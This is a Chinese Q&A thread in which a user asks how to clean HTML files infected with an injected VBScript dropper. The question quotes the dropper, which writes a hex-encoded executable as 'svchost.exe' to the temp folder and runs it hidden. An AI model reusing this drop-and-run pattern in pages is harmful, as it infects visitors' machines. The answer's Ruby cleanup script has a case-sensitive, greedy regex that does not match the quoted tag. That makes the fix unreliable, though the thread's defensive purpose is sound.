从html源代码中删除vbscript或停用vbscript

时间:2013-11-07 15:56:16

标签: javascript html vbscript virus trojan

我的计算机上有很少的html文件,我是从朋友那里借来的,不幸的是所有文件都被感染了,它们都有恶意的vbscript代码插入到源代码中。我有100个文件,无法编辑所有文件的源。有没有办法可以删除恶意脚本并仍然获取数据?

编辑:以下是代码示例

<script language="VBScript"><!--
DropFileName = "svchost.exe"
WriteData = "4D5A9000030000000400........................8CB03FA48CB03"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT>

在线上传是否安全?

1 个答案:

答案 0 :(得分:1)

有很多防病毒软件可以检测到这种病毒,并删除受感染的html文件。

您可以运行以下ruby脚本,该脚本将检测到错误的vbscript标记并将其删除。

class VirusKiller
  VIRUS_REG = /<SCRIPT Language=VBScript>[\s\w\W\d.]*<\/SCRIPT>/

  def fix_html_virus(file)
     return if File.extname(file) != '.html'
     file_content = File.read(file) 
     clean_content = file_content.gsub(VIRUS_REG, '')
     File.open(file, "w") { |new_file| new_file << clean_content }
  end

  def transverse_files(base)
    Dir.foreach(base) do |file|
      begin
        next if file == '.' or file == '..'

        if File.file?(base+file)
          fix_html_virus base+file
        else
          transverse_files(base+file+'/')
        end
      rescue Exception => e
        puts e.message
      end
    end
  end

  def run(root_path)
    transverse_files root_path
  end
end

VirusKiller.new.run ARGV[0]

安装Ruby,将此脚本复制到某个文件中(比如说virus_killer.rb)。在cmd中浏览到此文件上的位置(如果您在窗口中)并运行此命令。

ruby virus_killer.rb /path/to/infected_folder/